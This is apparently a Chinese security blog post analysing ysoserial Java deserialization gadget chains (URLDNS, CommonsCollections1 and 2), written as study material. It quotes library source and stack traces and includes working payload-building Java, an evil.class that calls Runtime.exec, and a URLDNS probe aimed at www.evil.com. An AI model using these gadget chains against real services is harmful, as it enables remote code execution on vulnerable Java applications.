ysoserial gadgets分析 发表于 2023-10-16 更新于 2023-10-21
字数总计: 3.9k 阅读时长: 21分钟 中国
web 云安全 Java安全 ysoserial gadgets分析 Ivoripuion 2023-10-16 2023-10-21 ysoserial gadgets from su18:https://su18.org/tag/V0FeVGMWY/
URLDNS java.net.URL
的hashCode
函数会调用getHostAddress
触发DNS请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; } protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); if (addr != null ) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null ) h += host.toLowerCase().hashCode(); } String file = u.getFile(); if (file != null ) h += file.hashCode(); if (u.getPort() == -1 ) h += getDefaultPort(); else h += u.getPort(); String ref = u.getRef(); if (ref != null ) h += ref.hashCode(); return h; }
而java.util.HashMap
在被反序列化时,实现的readObject
函数会调用hash(key)
计算键的哈希,而为了计算键值的哈希值,会调用键的hashCode
函数,所以假如一个HashMap对对象的键的hashCode
函数有什么特殊方法都会在此时进行,比如一个HashMap对象的键是java.net.URL
,那么在反序列化HashMap对象时就会将URL对象url进行DNS解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
实际实现的时候,假如调用hash表添加元素的put
方法,其实就是putVal(hash(key), key, value, false, true)
,那就会直接导致在添加元素的时候将DNS进行解析:
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
且URL存在一个变量hashCode
,假如在进行hashCode()
时候发现hashCode
不是-1,就不会进行handle.hashCode
,而发现是-1就会直接进行handle.hashCode
:
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
因此,为了避免在使用put
函数往HashMap添加URL对象的时候直接触发DNS解析,需要首先使用反射的方式将hashCode
设置为非-1,然后为了使得反序列化HashMap的时候能触发DNS解析,需要在添加好后把URL对象的hashCode
设置为-1:
1 2 3 4 5 6 7 HashMap<URL,String> hashMap = new HashMap <>(); URL url = new URL ("http://www.evil.com" );Field f = Class.forName("java.net.URL" ).getDeclaredField("hashCode" );f.setAccessible(true ); f.set(url,null ); hashMap.put(url,"value" ); f.set(url,-1 );
ysoserial使用的策略是在构造对象时使用实现的URLStreamHandler
的子类SilentURLStreamHandler
,可以在调用URL对象的hashCode
的getHostAddress
时返回null
,从而在创建时不会触发DNS请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Object getObject (final String url) throws Exception { ...... URLStreamHandler handler = new SilentURLStreamHandler (); URL u = new URL (null , url, handler); ...... } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection (URL u) throws IOException { return null ; } protected synchronized InetAddress getHostAddress (URL u) { return null ; } }
URLDNS这条链调用如下:
1 2 3 4 5 6 HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()
CommonsCollections 方便反射对象,实现了一些静态函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class SerializeUtil { SerializeUtil(){} public static void writeObjectToFile (Object obj,String fileName) throws Exception{ FileOutputStream fos = new FileOutputStream (fileName); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(obj); } public static void readFileObject (String fileName) throws Exception{ FileInputStream fis = new FileInputStream (fileName); ObjectInputStream ois = new ObjectInputStream (fis); ois.readObject(); } }
CommonsCollections1 这条链的kick-off java.lang.reflect.InvocationHandler
在jdk 1.7及以下才会触发,因此调试的环境需要是jdk 1.7及以下。
kick-off:sun.reflect.annotation.AnnotationInvocationHandler
实现的readObject
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
chain:org.apache.commons.collections.functors.ChainedTransformer
中的对所有Transformer的transform
函数的链式调用:
1 2 3 4 5 6 7 public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
transform
函数其实就是一个对HashMap
的装饰器,装饰过的HashMap
生成的Map
在被添加元素时会触发相应Transformer的transform
函数。
测试样例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.annotation.Resource;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.Map;public class TransformedDemo { public static void main (String[] args) throws Exception{ Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHanderConstructor = annotationInvocationHandler.getDeclaredConstructors()[0 ]; annotationInvocationHanderConstructor.setAccessible(true ); ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"notepad" }) }); Map hashMap = new HashMap (); hashMap.put("name" ,2 ); Map transformedMap = TransformedMap.decorate(hashMap,null ,chain); InvocationHandler handler = (InvocationHandler) annotationInvocationHanderConstructor.newInstance(Resource.class,transformedMap); SerializeUtil.writeObjectToFile(handler,"test.bin" ); SerializeUtil.readFileObject("test.bin" ); } }
CC1这条的调用链:
1 2 3 4 5 AnnotationInvocationHandler.readObject() TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
执行命令前的堆栈状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 transform:119 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) checkSetValue:169 , TransformedMap (org.apache.commons.collections.map) setValue:191 , AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map) readObject:356 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:606 , Method (java.lang.reflect) invokeReadObject:1017 , ObjectStreamClass (java.io) readSerialData:1893 , ObjectInputStream (java.io) readOrdinaryObject:1798 , ObjectInputStream (java.io) readObject0:1350 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readFileObject:18 , SerializeUtil main:34 , CC1Demo
另一种用LazyMap
的思路,主要就是LazyMap
在调用get()
方法时会调用put()
方法从而触发transform()
方法:
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
用什么来触发LazyMap
的get()
方法呢?可以用AnnotationInvocationHandler
的invoke()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else { assert var5.length == 0 ; if (var4.equals("toString" )) { return this .toStringImpl(); } else if (var4.equals("hashCode" )) { return this .hashCodeImpl(); } else if (var4.equals("annotationType" )) { return this .type; } else { Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException (this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } }
而被动态代理过的InvocationHandler
会在调用任意方法都会触发invoke
,而在InvocationHandler
的readObject()
函数会调用它的Map的entrySet()
方法:
1 2 Map var3 = var2.memberTypes();Iterator var4 = this .memberValues.entrySet().iterator();
测试样例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Demo2 { public static void main (String[] args) throws Exception{ Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHanderConstructor = annotationInvocationHandler.getDeclaredConstructors()[0 ]; annotationInvocationHanderConstructor.setAccessible(true ); ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }); Map lazyMap = LazyMap.decorate(new HashMap (),chain); InvocationHandler handler = (InvocationHandler)annotationInvocationHanderConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHanderConstructor.newInstance(Target.class, mapProxy); SerializeUtil.writeObjectToFile(invocationHandler,"test.bin" ); SerializeUtil.readFileObject("test.bin" ); } }
CC1这条的调用链LazyMap形式:
1 2 3 4 5 6 7 AnnotationInvocationHandler.readObject() LazyMap.map.entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
执行命令前的堆栈状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 transform:119 , InvokerTransformer (org.apache.commons.collections.functors) transform:122 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) invoke:69 , AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1 , $Proxy0 (com.sun.proxy) readObject:349 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:606 , Method (java.lang.reflect) invokeReadObject:1017 , ObjectStreamClass (java.io) readSerialData:1893 , ObjectInputStream (java.io) readOrdinaryObject:1798 , ObjectInputStream (java.io) readObject0:1350 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readFileObject:18 , SerializeUtil main:37 , CC1Demo2
CommonsCollections2 kick-off:import java.util.PriorityQueue
的readObject
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
heapify
调用siftDown
:
1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
siftDown
调用siftDownUsingComparator
:
1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
siftDownUsingComparator
会调用comparator.compare
对队列的元素进行排列:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
而TransformingComparator
的compare
方法会调用修饰的Transformer
的transform
方法:
1 2 3 4 5 public int compare (I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
后面的事情就是transform
的事情了。
测试样例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC2Demo { public static void main (String[] args) throws Exception{ PriorityQueue<String> queue = new PriorityQueue <>(2 ); queue.add("1" ); queue.add("2" ); Field comparatorField = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); comparatorField.setAccessible(true ); ChainedTransformer chain = new ChainedTransformer (new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" })); TransformingComparator transformingComparator = new TransformingComparator (chain); comparatorField.set(queue,transformingComparator); SerializeUtil.writeObjectToFile(queue,"test.bin" ); SerializeUtil.readFileObject("test.bin" ); } }
CC2这条的调用链:
1 2 3 4 5 6 7 8 PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
执行命令前的堆栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 transform:127 , InvokerTransformer (org.apache.commons.collections4.functors) transform:112 , ChainedTransformer (org.apache.commons.collections4.functors) compare:81 , TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:699 , PriorityQueue (java.util) siftDown:667 , PriorityQueue (java.util) heapify:713 , PriorityQueue (java.util) readObject:773 , PriorityQueue (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:606 , Method (java.lang.reflect) invokeReadObject:1017 , ObjectStreamClass (java.io) readSerialData:1893 , ObjectInputStream (java.io) readOrdinaryObject:1798 , ObjectInputStream (java.io) readObject0:1350 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readFileObject:18 , SerializeUtil main:27 , CC2Demo
使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
来让最后的sink变成实例化任意class的方法。
简单来说,就是链传到TemplatesImpl
的defineTransletClasses
函数,会将_bytecodes
load到_class
中,再回到getTransletInstance
中将_class
实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new Hashtable (); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
测试样例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;import java.io.InputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC2Demo2 { public static void main (String[] args) throws Exception{ String evil_class_path = "evil.class" ; InputStream inputStream = new FileInputStream (evil_class_path); byte [] bytes = new byte [inputStream.available()]; inputStream.read(bytes); TemplatesImpl tmpl = new TemplatesImpl (); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(tmpl, new byte [][]{bytes}); Field name = TemplatesImpl.class.getDeclaredField("_name" ); name.setAccessible(true ); name.set(tmpl, "evil" ); PriorityQueue<Object> queue = new PriorityQueue <>(2 ); queue.add("1" ); queue.add("2" ); Field field = PriorityQueue.class.getDeclaredField("queue" ); field.setAccessible(true ); Object[] objects = (Object[]) field.get(queue); objects[0 ] = tmpl; Transformer transformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); TransformingComparator comparator = new TransformingComparator (transformer); Field field2 = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" ); field2.setAccessible(true ); field2.set(queue, comparator); SerializeUtil.writeObjectToFile(queue, "test.bin" ); SerializeUtil.readFileObject("test.bin" ); } public static String getType (Object o) { return o.getClass().toString(); } public static int byteToInt (byte b) { return b & 0xFF ; } }
evil.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class evil extends AbstractTranslet { public evil () { try { Runtime.getRuntime().exec("write.exe" ); } catch (Exception e) { } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
CC2这条链:
1 2 3 4 5 6 7 8 9 PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() class.newInstance()
实例化class之前的堆栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 getTransletInstance:387 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:418 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:606 , Method (java.lang.reflect) [2 ] transform:129 , InvokerTransformer (org.apache.commons.collections4.functors) compare:81 , TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:699 , PriorityQueue (java.util) siftDown:667 , PriorityQueue (java.util) heapify:713 , PriorityQueue (java.util) readObject:773 , PriorityQueue (java.util) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:57 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:606 , Method (java.lang.reflect) [1 ] invokeReadObject:1017 , ObjectStreamClass (java.io) readSerialData:1893 , ObjectInputStream (java.io) readOrdinaryObject:1798 , ObjectInputStream (java.io) readObject0:1350 , ObjectInputStream (java.io) readObject:370 , ObjectInputStream (java.io) readFileObject:18 , SerializeUtil main:45 , CC2Demo2